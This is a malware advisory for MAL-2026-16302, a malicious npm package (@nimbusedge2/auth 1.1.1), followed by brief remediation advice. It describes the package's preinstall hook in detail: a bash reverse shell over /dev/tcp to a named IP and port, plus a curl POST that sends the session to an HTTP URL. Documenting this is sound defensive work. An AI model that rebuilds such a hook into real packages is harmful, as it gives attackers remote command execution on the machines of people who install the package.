## What is MAL-2026-16302?

MAL-2026-16302 is a malicious package in @nimbusedge2/auth, published on 21 Sep 2026. 

### Official description

@nimbusedge2/auth 1.1.1 ships a 333-byte package whose package.json preinstall lifecycle hook runs `bash -i` with stdio redirected to /dev/tcp/147.93.157.202/8080, opening an interactive reverse shell to that host as the installing user. The same script pipes the shell session through `curl -s -m 5 -X POST --data-binary @-` to http://canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php, providing a secondary HTTP beacon/exfil channel for environments where outbound raw TCP is blocked but HTTP egress is permitted. The package contains no other code, no library functionality, and no legitimate build purpose; installing it grants arbitrary remote command execution on the installer's machine at `npm install` time.

## What should I do about MAL-2026-16302?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.
